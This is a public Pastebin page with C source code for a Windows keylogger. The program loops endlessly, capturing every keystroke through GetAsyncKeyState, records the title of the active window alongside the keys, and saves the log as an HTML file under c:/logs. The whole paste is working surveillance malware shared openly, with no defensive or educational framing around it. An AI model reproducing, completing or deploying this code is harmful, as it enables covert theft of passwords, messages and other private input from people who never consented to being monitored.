Share Pastebin
Guest
Public paste!

TheDio

By: a guest | Feb 9th, 2010 | Syntax: C | Size: 7.97 KB | Hits: 25 | Expires: Never
Copy text to clipboard
  1. /* THIS CODE WAS MADE BY ANASTASIOS MITRELIS AKA HYPERION
  2.  
  3.  
  4. */
  5.  
  6. #define _WIN32_WINNT    0x0501
  7. #include <stdio.h>
  8. #include <windows.h>
  9. #include <string.h>
  10.  
  11. #define OFF 0
  12. #define ON 1
  13.  
  14.  
  15. int RenewFile(FILE *a,char path[],char headere[]);
  16. void close_key(void); // It closes the SHIFT key if it's on. (The shift key is treated as caps lock for some reason.
  17. void print_arrows(int a, FILE *b); // prints arrows with letters. i.e right arrow will be stored as [RA]
  18. void print_key(int a, FILE *b); // this function is used to store/use characters like Newline and Backspace
  19.  
  20.  
  21.  
  22. int main()
  23. {
  24.  
  25.     FILE *wp;
  26.     HANDLE window,current_window;
  27.     unsigned char a,winlen,test,key[21] = { ')', '!', '@', '#', '$', '%', '^', '&', '*', '(',':','+','<', '_' ,'>' ,'?', '~','{','|','}','"'};
  28.     unsigned char key2[11] = {';','=',',','-','.','/','`','[','\\',']','\''};
  29.     long int b,c,d=0;
  30.     char path[20],cwindow[300],*headers = "<html><body bgcolor = \"black\"><font color = \"blue\"><h1>START LOGGING FROM HERE</h1></font><br />";
  31.     char *window_headers = "\n<b><font size=\"4\"><font color = \"red\">Active Window </font></font></b><u><font size=\"4\"><font color = \"blue\"><b><u>";
  32.     char *window_headere = "</font></font></b></u><br />";
  33.     char *logs = "<font size = \"3\"><font color = white>";
  34.     char *loge = "</font></font><br />";
  35.     char *headere = "</body></html>";
  36.     strcpy(path,"c:/logs");
  37.     CreateDirectory(path,NULL);
  38.     strcat(path,"/ohnoes.html");
  39.  
  40.     short int CAPS_STATE,SHIFT_KEY,i,q;
  41.  
  42.  
  43.     CAPS_STATE = SHIFT_KEY = OFF;
  44.  
  45.     if (GetKeyState(VK_SHIFT) == 1)
  46.     close_key();  /* As i said the shift key is treated as caps. So if someone pressed it once
  47.                      before the code was executed, GetKeyState will treat is as  "toggled on".
  48.                      Thus i make sure to close it, if it's "on" */
  49.  
  50.  
  51.  
  52.     wp = fopen(path,"a+b");
  53.     fwrite(headers,strlen(headers),1,wp);
  54.  
  55.     while(1)
  56.     {
  57.  
  58.         test=0;
  59.  
  60.         current_window = GetForegroundWindow();
  61.         winlen = GetWindowText(current_window,cwindow,300);
  62.  
  63.         if(winlen != 0)// the taskbar returns a value of 0
  64.         {
  65.         fwrite(window_headers,strlen(window_headers),1,wp);
  66.         fwrite(cwindow,strlen(cwindow),1,wp);
  67.         fwrite(window_headere,strlen(window_headere),1,wp);
  68.         }
  69.         window = current_window;
  70.  
  71.         while(current_window == window)
  72.         {
  73.  
  74.             current_window = GetForegroundWindow();
  75.             if(test == 0)
  76.             {
  77.             fwrite(logs,strlen(logs),1,wp);
  78.             test++;
  79.             }
  80.  
  81.  
  82.         if ( i == 110) // the i variable increese verytime a key is stored.
  83.         {              // i myself find it annoying having to scroll forward to read in text documen
  84.             fprintf(wp,"<br />");  // so i took care of it :P
  85.             i=0;
  86.         }
  87.  
  88.         for (a = 0; a <= 225; a++)
  89.         {
  90.  
  91.             if ((c = GetAsyncKeyState(a)) == -32767 && a > 31 && a < 225)
  92.             {
  93.  
  94.                     if (CAPS_STATE == OFF && a >= 65 && a <=90 && SHIFT_KEY == OFF) // it has to be lowercase
  95.                     {
  96.                         fprintf(wp,"%c",a+32);
  97.                         i++;
  98.                     }
  99.                     else if (SHIFT_KEY == ON && a >= 65 && a <=90 && CAPS_STATE == ON) // lower case :P it's like - * - = +
  100.                     {
  101.                         fprintf(wp,"%c",a+32);
  102.                         i++;
  103.                     }
  104.                     else if (SHIFT_KEY == ON && a >= 65 && a <=90) // SHIFT_KEY == CAPS with letters, so uppercase ;)
  105.                     {
  106.                         SHIFT_KEY = OFF;
  107.                         fprintf(wp,"%c",a);
  108.                         i++;
  109.                     }
  110.  
  111.  
  112.                     else if(SHIFT_KEY == ON) // IF SHIFT is pressed and 1 is pressed to, it will print ! etc
  113.                     {
  114.                         if (a > 47 && a < 58)
  115.                         {
  116.                                          for(q = 48,d = 0;q < a;q++,d++);
  117.                                          fprintf(wp,"%c",key[d]);
  118.                                          d=0;
  119.                         }
  120.  
  121.                         else if (a >= 0xBA && a <= 0xC0)
  122.                         {
  123.  
  124.                                          for (q = 0xBA,d = 10; q < a; q++,d++);
  125.                                          fprintf(wp,"%c",key[d]);
  126.                                          d=0;
  127.                         }
  128.                         else if (a >= 0xDB && a <= 0xDF)
  129.                         {
  130.                             for(q = 0xDB,d = 17; q < a;q++,d++);
  131.                             fprintf(wp,"%c",key[d]);
  132.                             d=0;
  133.                         }
  134.  
  135.  
  136.                     }
  137.  
  138.  
  139.  
  140.                     else if (a >= 0x25 && a <= 0x28)
  141.                     {
  142.                     print_arrows(a,wp);
  143.                     i++;
  144.                     }
  145.  
  146.                     else
  147.                     {
  148.                         if (a >= 0xBA && a <= 0xC0)
  149.                         {
  150.  
  151.                                          for (q = 0xBA,d = 0; q < a ; q++,d++);
  152.                                          fprintf(wp,"%c",key2[d]);
  153.                                          d=0;
  154.                         }
  155.  
  156.                         else if(a >= 0xDB && a <= 0xDF)
  157.                         {
  158.                             for(q = 0xDB,d = 7; q < a;q++,d++);
  159.                             fprintf(wp,"%c",key2[d]);
  160.                             d=0;
  161.                         }
  162.  
  163.                         else if (a >= 31 && a <=90)
  164.                         fprintf(wp,"%c",a);
  165.                         i++;
  166.                     }
  167.  
  168.  
  169.  
  170.  
  171.             }
  172.  
  173.             else if ( c == -32767)
  174.             {
  175.                 print_key(a,wp);
  176.                 i++;
  177.             }
  178.  
  179.         }
  180.  
  181.             if (( b = GetKeyState(VK_CAPITAL)) == 1  && CAPS_STATE == OFF) // 1 means it's toggled on.
  182.             CAPS_STATE = ON;
  183.  
  184.             else if ( b == 0 && CAPS_STATE == ON)
  185.             CAPS_STATE = OFF;
  186.  
  187.             if ((b = GetKeyState(VK_SHIFT)) == -127 && SHIFT_KEY == OFF) // -127 means HELD DOWN. I
  188.             SHIFT_KEY = ON;                                              //  I used %d with printf
  189.                                                                          //  To check the value of to figure that out */
  190.             else if (b == 1)
  191.             {
  192.                 SHIFT_KEY = OFF;  // You see we pressed and held shift, while it was toggled of. So when we release it
  193.                 close_key();      //The pc will see it was toggled on. So i close it again heh.
  194.             }
  195.         }
  196.  
  197.        fwrite(loge,strlen(loge),1,wp);
  198.        if((RenewFile(wp,path,headere)) == 1)
  199.        fwrite(headers,strlen(headers),1,wp);
  200.     }
  201.  
  202.  
  203.    return 0;
  204. }
  205.  
  206.  
  207. void close_key(void)
  208. {
  209.     INPUT input[2];
  210.     memset(input, 0, sizeof(input));
  211.     input[0].type = INPUT_KEYBOARD;
  212.     input[0].ki.wVk = VK_SHIFT;
  213.     input[0].ki.dwFlags = 0;
  214.     input[0].ki.time = 0;
  215.     input[0].ki.dwExtraInfo = 0;
  216.     input[1].type = INPUT_KEYBOARD;
  217.     input[1].ki.wVk = VK_SHIFT;
  218.     input[1].ki.dwFlags = KEYEVENTF_KEYUP;
  219.     input[1].ki.time = 0;
  220.     input[1].ki.dwExtraInfo = 0;
  221.     SendInput(2,input,sizeof(INPUT));
  222. }
  223.  
  224. void print_arrows(int a, FILE *b)
  225. {
  226.     if(a == VK_LEFT)
  227.     fprintf(b," [LA] ");
  228.  
  229.     else if (a == VK_RIGHT)
  230.     fprintf(b," [RA] ");
  231.  
  232.     else if (a == VK_UP)
  233.     fprintf(b," [UA] ");
  234.  
  235.     else
  236.     fprintf(b," [DA] ");
  237. }
  238.  
  239. void print_key (int a, FILE *b)
  240. {
  241.     if (a == VK_RETURN)
  242.     fprintf(b,"\n");
  243.  
  244.     else if(a == VK_BACK)
  245.     fprintf(b," [BS] ");
  246. }
  247.  
  248. int RenewFile(FILE *a, char path[],char headere[])
  249. {
  250.     long int i=0;
  251.     short d=0;
  252.     fseek(a,0,SEEK_END);
  253.     i = ftell(a);
  254.     if( i < 0)
  255.     {
  256.         fwrite(headere,strlen(headere),1,a);
  257.         fclose(a);
  258.         a = fopen(path,"w");
  259.         fclose(a);
  260.         a = fopen(path,"a+");
  261.         d = 1;
  262.     }
  263.        return d;
  264.  
  265. }